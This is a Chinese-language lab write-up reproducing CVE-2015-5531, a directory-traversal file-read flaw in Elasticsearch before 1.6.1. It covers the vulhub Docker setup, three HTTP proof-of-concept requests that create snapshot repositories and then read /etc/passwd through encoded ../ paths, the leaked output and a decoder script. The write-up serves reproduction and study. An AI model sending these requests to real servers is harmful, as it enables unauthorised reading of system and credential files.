【漏洞复现】CVE-2015-5531 Arbitrary File Reading

漏洞信息

NVD - CVE-2015-5531

Directory traversal vulnerability in Elasticsearch before 1.6.1 allows remote attackers to read arbitrary files via unspecified vectors related to snapshot API calls.

背景介绍

Elasticsearch is an open source distributed, RESTful search and analytics engine, scalable data store, and vector database capable of addressing a growing number of use cases. As the heart of the Elastic Stack, it centrally stores your data for lightning-fast search, fine‑tuned relevancy, and powerful analytics that scale with ease.

主页：https://www.elastic.co/elasticsearch

源码：https://github.com/elastic/elasticsearch

环境搭建

Dockerfile：

dockerfile 复制代码

FROM vulhub/elasticsearch:1.6.0

LABEL maintainer="phithon <root@leavesongs.com>"

COPY elasticsearch.yml ./config/

RUN set -ex \
    && mkdir -p ./repo

docker-compose.yaml：

yaml 复制代码

version: '2'
services:
 es:
   build: .
   ports:
    - "9200:9200"
    - "9300:9300"

elasticsearch 1.5.1及以前，无需任何配置即可触发该漏洞。之后的新版，配置文件elasticsearch.yml中必须存在path.repo，该配置值为一个目录，且该目录必须可写，等于限制了备份仓库的根位置。不配置该值，默认不启动这个功能。所以需要在同级目录下创建一个elasticsearch.yml，内容如下：

yaml 复制代码

path.repo: /usr/share/elasticsearch/repo

使用Docker Compose构建和启动环境：

sh 复制代码

$ docker-compose up -d

Debug：

sh 复制代码

ERROR: for es  'ContainerConfig'
Traceback (most recent call last):
  File "bin/docker-compose", line 3, in <module>
  File "compose/cli/main.py", line 67, in main
  File "compose/cli/main.py", line 126, in perform_command
  File "compose/cli/main.py", line 1070, in up
  File "compose/cli/main.py", line 1066, in up
  File "compose/project.py", line 648, in up
  File "compose/parallel.py", line 108, in parallel_execute
  File "compose/parallel.py", line 206, in producer
  File "compose/project.py", line 634, in do
  File "compose/service.py", line 579, in execute_convergence_plan
  File "compose/service.py", line 501, in _execute_convergence_recreate
  File "compose/parallel.py", line 108, in parallel_execute
  File "compose/parallel.py", line 206, in producer
  File "compose/service.py", line 494, in recreate
  File "compose/service.py", line 613, in recreate_container
  File "compose/service.py", line 332, in create_container
  File "compose/service.py", line 917, in _get_container_create_options
  File "compose/service.py", line 957, in _build_container_volume_options
  File "compose/service.py", line 1532, in merge_volume_bindings
  File "compose/service.py", line 1562, in get_container_data_volumes
KeyError: 'ContainerConfig'
[5518] Failed to execute script docker-compose

# down --volumes 会停止并删除所有容器和关联的卷
# --remove-orphans 会清除任何不再在 docker-compose.yml 文件中定义的孤立容器
$ docker-compose down --volumes --remove-orphans
$ docker-compose up -d --build

漏洞复现

参考：https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-5531

首先创建一个仓库：

在仓库里创建一个快照：

目录穿越读取任意文件，以/etc/passwd为例：

得到的文本通过ASCII解码即可得到如下内容（解码器脚本见附录）：

plaintext 复制代码

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/bin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/games/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/var/proxy:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:irc:/var/run/irc:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System:/var/lib/gnats:/usr/sbin/nologin
nobody:x:99:99:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:101:101:systemd Core Dump:/var/lib/systemd/coredump:/usr/sbin/nologin
systemd-network:x:102:102:systemd Network Management:/lib/systemd/network:/usr/sbin/nologin
systemd-oom:x:103:103:systemd Out Of Memory Killer:/lib/systemd/oom:/usr/sbin/nologin
systemd-resolve:x:104:104:systemd Resolver:/lib/systemd/resolv:/usr/sbin/nologin
systemd-timesync:x:105:105:systemd Time Synchronization:/lib/systemd/timesync:/usr/sbin/nologin
messagebus:x:106:107:messagebus:/var/run/dbus:/usr/sbin/nologin
uuid:x:107:107:uuid:/run/uuid:/usr/sbin/nologin
syslog:x:108:108:syslog:/var/log:/usr/sbin/nologin
_ssh:x:109:109:_ssh:/var/run/sshd:/usr/sbin/nologin
git:x:110:110:git:/usr/lib/git:/usr/sbin/nologin

POC_1：

http 复制代码

PUT /_snapshot/test HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}

POC_2：

http 复制代码

PUT /_snapshot/test2 HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}

POC_3：

http 复制代码

GET /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: 127.0.0.1:9200
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

附录

Dec.py：

python 复制代码

# 给定的 ASCII 数字序列
numbers = [
    114, 111, 111, 116, 58, 120, 58, 48, 58, 48, 58, 114, 111, 111, 116, 58, 47, 114, 111, 111, 116, 58, 47, 98, 105, 110, 47, 98, 97, 115, 104,
    10, 100, 97, 101, 109, 111, 110, 58, 120, 58, 49, 58, 49, 58, 100, 97, 101, 109, 111, 110, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 
    58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 98, 105, 110, 58, 120, 58, 50, 58, 50, 58, 98, 
    105, 110, 58, 47, 98, 105, 110, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 115, 121, 115, 
    58, 120, 58, 51, 58, 51, 58, 115, 121, 115, 58, 47, 100, 101, 118, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 
    103, 105, 110, 10, 115, 121, 110, 99, 58, 120, 58, 52, 58, 54, 53, 53, 51, 52, 58, 115, 121, 110, 99, 58, 47, 98, 105, 110, 58, 47, 98, 
    105, 110, 47, 115, 121, 110, 99, 10, 103, 97, 109, 101, 115, 58, 120, 58, 53, 58, 54, 48, 58, 103, 97, 109, 101, 115, 58, 47, 117, 115, 
    114, 47, 103, 97, 109, 101, 115, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 109, 97, 110, 
    58, 120, 58, 54, 58, 49, 50, 58, 109, 97, 110, 58, 47, 118, 97, 114, 47, 99, 97, 99, 104, 101, 47, 109, 97, 110, 58, 47, 117, 115, 114, 
    47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 108, 112, 58, 120, 58, 55, 58, 55, 58, 108, 112, 58, 47, 118, 97, 114, 
    47, 115, 112, 111, 111, 108, 47, 108, 112, 100, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 
    109, 97, 105, 108, 58, 120, 58, 56, 58, 56, 58, 109, 97, 105, 108, 58, 47, 118, 97, 114, 47, 109, 97, 105, 108, 58, 47, 117, 115, 114, 
    47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 110, 101, 119, 115, 58, 120, 58, 57, 58, 57, 58, 110, 101, 119, 115, 
    58, 47, 118, 97, 114, 47, 115, 112, 111, 111, 108, 47, 110, 101, 119, 115, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 
    108, 111, 103, 105, 110, 10, 117, 117, 99, 112, 58, 120, 58, 49, 48, 58, 49, 48, 58, 117, 117, 99, 112, 58, 47, 118, 97, 114, 47, 115, 
    112, 111, 111, 108, 47, 117, 117, 99, 112, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 112, 
    114, 111, 120, 121, 58, 120, 58, 49, 51, 58, 49, 51, 58, 112, 114, 111, 120, 121, 58, 47, 98, 105, 110, 58, 47, 117, 115, 114, 47, 115, 
    98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 119, 119, 119, 45, 100, 97, 116, 97, 58, 120, 58, 51, 51, 58, 51, 51, 58, 119, 
    119, 119, 45, 100, 97, 116, 97, 58, 47, 118, 97, 114, 47, 119, 119, 119, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 
    111, 103, 105, 110, 10, 98, 97, 99, 107, 117, 112, 58, 120, 58, 51, 52, 58, 51, 52, 58, 98, 97, 99, 107, 117, 112, 58, 47, 118, 97, 114, 
    47, 98, 97, 99, 107, 117, 112, 115, 58, 47, 117, 115, 114, 47, 115, 98, 105, 110, 47, 110, 111, 108, 111, 103, 105, 110, 10, 108, 105, 115, 
    116, 58, 120, 58, 51, 56, 58, 51, 56, 58, 77, 97, 105, 108, 105, 110, 103, 32, 76, 111, 103, 105, 110
]

# 将数字序列转换为字符
decoded_text = ''.join(chr(num) for num in numbers)

# 输出解码后的文本
print(decoded_text)